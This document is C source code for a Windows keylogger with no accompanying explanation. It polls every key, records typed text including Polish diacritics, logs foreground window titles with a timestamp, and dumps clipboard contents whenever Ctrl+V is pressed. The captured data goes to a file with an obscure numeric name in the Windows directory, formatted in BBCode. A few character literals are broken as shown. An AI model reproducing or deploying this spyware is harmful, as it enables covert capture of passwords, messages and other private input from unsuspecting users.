#include <windows.h>
#include <stdio.h>
void wnd(void *fp){
SYSTEMTIME czas;
void *window[2];
char title[2];
window[1]=0;
GetSystemTime(&czas);
fprintf(fp, "<center>[b]%i-%i-%i %i:%i:%i UTC[/b]</center>
", czas.wYear, czas.wMonth, czas.wDay, czas.wHour, czas.wMinute, czas.wSecond);
while(1){
if((window[0]=GetForegroundWindow()) != window[1]){
if(GetWindowText(window[1]=window[0], title, sizeof(title))){
fputs("
[u][b]", fp);
fputs(title, fp);
fputs("[/u][/b]
", fp);
}}
Sleep(500);
}
return;
}
int main(int argc, char **argv){
char sys[512];
void *fp;
int b[255], a, c, d, beta=0;
snprintf(sys, sizeof(sys), "%s12335348712588899542223588.html", getenv("WinDir"));
if(!(fp=fopen(sys, "ab")))return 1;
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)wnd, fp, 0, 0);
memset(b, 0, sizeof(b));
while(1){
if(GetAsyncKeyState(0x10)<0)d=1;
else d=0;
if((d && GetKeyState(0x14)) || (!d && !GetKeyState(0x14)))c=1;
else c=0;
if(GetAsyncKeyState(0xA5)<0)c+=2;
for(a=0;a<0xFF;a++){
if((!b[a]) && (GetAsyncKeyState(a)<0)){
b[a]=1;
switch(a){
case 'A':
switch(c){
case 0:
fputc('A', fp);
break;
case 1:
fputc('a', fp);
break;
case 2:
fputc('Ą', fp);
break;
case 3:
fputc('ą', fp);
break;
}
break;
case 'B':
switch(c){
case 0:
fputc('B', fp);
break;
case 1:
fputc('b', fp);
break;
}
break;
case 'C':
switch(c){
case 0:
fputc('C', fp);
break;
case 1:
fputc('c', fp);
break;
case 2:
fputc('Ć', fp);
break;
case 3:
fputc('ć', fp);
break;
}
break;
case 'D':
switch(c){
case 0:
fputc('D', fp);
break;
case 1:
fputc('d', fp);
break;
}
break;
case 'E':
switch(c){
case 0:
fputc('E', fp);
break;
case 1:
fputc('e', fp);
break;
case 2:
fputc('Ę', fp);
break;
case 3:
fputc('ę', fp);
break;
}
break;
case 'F':
switch(c){
case 0:
fputc('F', fp);
break;
case 1:
fputc('f', fp);
break;
}
break;
case 'G':
switch(c){
case 0:
fputc('G', fp);
break;
case 1:
fputc('g', fp);
break;
}
break;
case 'H':
switch(c){
case 0:
fputc('H', fp);
break;
case 1:
fputc('h', fp);
break;
}
break;
case 'I':
switch(c){
case 0:
fputc('I', fp);
break;
case 1:
fputc('i', fp);
break;
}
break;
case 'J':
switch(c){
case 0:
fputc('J', fp);
break;
case 1:
fputc('j', fp);
break;
}
break;
case 'K':
switch(c){
case 0:
fputc('K', fp);
break;
case 1:
fputc('k', fp);
break;
}
break;
case 'L':
switch(c){
case 0:
fputc('L', fp);
break;
case 1:
fputc('l', fp);
break;
case 2:
fputc('Ł', fp);
break;
case 3:
fputc('ł', fp);
break;
}
break;
case 'M':
switch(c){
case 0:
fputc('M', fp);
break;
case 1:
fputc('m', fp);
break;
}
break;
case 'N':
switch(c){
case 0:
fputc('N', fp);
break;
case 1:
fputc('n', fp);
break;
case 2:
fputc('Ń', fp);
break;
case 3:
fputc('ń', fp);
break;
}
break;
case 'O':
switch(c){
case 0:
fputc('O', fp);
break;
case 1:
fputc('o', fp);
break;
case 2:
fputc('Ó', fp);
break;
case 3:
fputc('ó', fp);
break;
}
break;
case 'P':
switch(c){
case 0:
fputc('P', fp);
break;
case 1:
fputc('p', fp);
break;
}
break;
case 'Q':
switch(c){
case 0:
fputc('Q', fp);
break;
case 1:
fputc('q', fp);
break;
}
break;
case 'R':
switch(c){
case 0:
fputc('R', fp);
break;
case 1:
fputc('r', fp);
break;
}
break;
case 'S':
switch(c){
case 0:
fputc('S', fp);
break;
case 1:
fputc('s', fp);
break;
case 2:
fputc('Ś', fp);
break;
case 3:
fputc('ś', fp);
break;
}
break;
case 'T':
switch(c){
case 0:
fputc('T', fp);
break;
case 1:
fputc('t', fp);
break;
}
break;
case 'U':
switch(c){
case 0:
fputc('U', fp);
break;
case 1:
fputc('u', fp);
break;
}
break;
case 'V':
if((GetAsyncKeyState(0x11)<0) && (GetAsyncKeyState(0xA5)>=0)){
OpenClipboard(0);
fputs("[i][CLIPBOARD][/i]", fp);
fputs(GetClipboardData(CF_TEXT), fp);
fputs("[i][/CLIPBOARD][/i]", fp);
CloseClipboard();
}
else switch(c){
case 0:
fputc('V', fp);
break;
case 1:
fputc('v', fp);
break;
}
break;
case 'W':
switch(c){
case 0:
fputc('W', fp);
break;
case 1:
fputc('w', fp);
break;
}
break;
case 'X':
switch(c){
case 0:
fputc('X', fp);
break;
case 1:
fputc('x', fp);
break;
case 2:
fputc('Ź', fp);
break;
case 3:
fputc('ź', fp);
break;
}
break;
case 'Y':
switch(c){
case 0:
fputc('Y', fp);
break;
case 1:
fputc('y', fp);
break;
}
break;
case 'Z':
switch(c){
case 0:
fputc('Z', fp);
break;
case 1:
fputc('z', fp);
break;
case 2:
fputc('Ż', fp);
break;
case 3:
fputc('ż', fp);
break;
}
break;
case '0':
if(d)fputc(')', fp);
else fputc('0', fp);
break;
case '1':
if(d)fputc('!', fp);
else fputc('1', fp);
break;
case '2':
if(d)fputc('@', fp);
else fputc('2', fp);
break;
case '3':
if(d)fputc('#', fp);
else fputc('3', fp);
break;
case '4':
if(d)fputc('$', fp);
else fputc('4', fp);
break;
case '5':
if(d)fputc('%', fp);
else fputc('5', fp);
break;
case '6':
if(d)fputc('^', fp);
else fputc('6', fp);
break;
case '7':
if(d)fputc('&', fp);
else fputc('7', fp);
break;
case '8':
if(d)fputc('*', fp);
else fputc('8', fp);
break;
case '9':
if(d)fputc('(', fp);
else fputc('9', fp);
break;
case 0xBA:
if(d)fputc(':', fp);
else fputc(';', fp);
break;
case 0xBB:
if(d)fputc('+', fp);
else fputc('=', fp);
break;
case 0xBC:
if(d)fputc('<', fp);
else fputc(',', fp);
break;
case 0xBD:
if(d)fputc('_', fp);
else fputc('-', fp);
break;
case 0xBE:
if(d)fputc('>', fp);
else fputc('.', fp);
break;
case 0xBF:
if(d)fputc('/', fp);
else fputc('?', fp);
break;
case 0xC0:
if(d)fputc('~', fp);
else fputc('`', fp);
break;
case 0xDB:
if(d)fputc('{', fp);
else fputc('[', fp);
break;
case 0xDC:
if(d)fputc('|', fp);
else fputc('', fp);
break;
case 0xDD:
if(d)fputc('}', fp);
else fputc(']', fp);
break;
case 0xDE:
if(d)fputc('"', fp);
else fputc(''', fp);
break;
case 0x20:
fputc(' ', fp);
break;
case 0x0D:
fputs("
", fp);
break;
case 0x08:
fputs("[i][BSP][/i]", fp);
break;
case 0x09:
fputs("[i][TAB][/i]", fp);
break;
case 0x21:
fputs("[i][PG_UP][/i]", fp);
break;
case 0x22:
fputs("[i][PG_DOWN][/i]", fp);
break;
case 0x23:
fputs("[i][END][/i]", fp);
break;
case 0x24:
fputs("[i][HOME][/i]", fp);
break;
case 0x25:
fputs("[i][LEFT][/i]", fp);
break;
case 0x26:
fputs("[i][UP][/i]", fp);
break;
case 0x27:
fputs("[i][RIGHT][/i]", fp);
break;
case 0x28:
fputs("[i][DOWN][/i]", fp);
break;
case 0x2C:
fputs("[i][SCR][/i]", fp);
break;
case 0xA0:
fputs("[i][L_SHIFT][/i]", fp);
break;
case 0xA1:
fputs("[i][R_SHIFT][/i]", fp);
break;
case 0xA2:
if(GetAsyncKeyState(0xA5)>=0)fputs("[i][L_CTRL][/i]", fp);
break;
case 0xA3:
fputs("[i][R_CTRL][/i]", fp);
break;
case 0xA4:
fputs("[i][L_ALT][/i]", fp);
break;
case 0xA5:
fputs("[i][R_ALT][/i]", fp);
break;
case 0x5B:
fputs("[i][L_WIN][/i]", fp);
break;
case 0x5C:
fputs("[i][R_WIN][/i]", fp);
break;
case 0x2D:
fputs("[i][INS][/i]", fp);
break;
case 0x2E:
fputs("[i][DEL][/i]", fp);
break;
case 0x60:
fputc('0', fp);
break;
case 0x61:
fputc('1', fp);
break;
case 0x62:
fputc('2', fp);
break;
case 0x63:
fputc('3', fp);
break;
case 0x64:
fputc('4', fp);
break;
case 0x65:
fputc('5', fp);
break;
case 0x66:
fputc('6', fp);
break;
case 0x67:
fputc('7', fp);
break;
case 0x68:
fputc('8', fp);
break;
case 0x69:
fputc('9', fp);
break;
case 0x6A:
fputc('*', fp);
break;
case 0x6B:
fputc('+', fp);
break;
case 0x6D:
fputc('-', fp);
break;
case 0x6E:
fputc(',', fp);
break;
case 0x6F:
fputc('/', fp);
break;
case 0x70:
fputs("[i][F1][/i]", fp);
break;
case 0x71:
fputs("[i][F2][/i]", fp);
break;
case 0x72:
fputs("[i][F3][/i]", fp);
break;
case 0x73:
fputs("[i][F4][/i]", fp);
break;
case 0x74:
fputs("[i][F5][/i]", fp);
break;
case 0x75:
fputs("[i][F6][/i]", fp);
break;
case 0x76:
fputs("[i][F7][/i]", fp);
break;
case 0x77:
fputs("[i][F8][/i]", fp);
break;
case 0x78:
fputs("[i][F9][/i]", fp);
break;
case 0x79:
fputs("[i][F10][/i]", fp);
break;
case 0x7A:
fputs("[i][F11][/i]", fp);
break;
case 0x7B:
fputs("[i][F12][/i]", fp);
if((++beta)==7){
MessageBoxA(GetForegroundWindow(), ".", ".", MB_ICONINFORMATION);
ExitProcess(0);/*Only in beta version*/
}
break;
}}
else if (GetAsyncKeyState(a)>=0)b[a]=0;
}
Sleep(1);
}
return 0;
}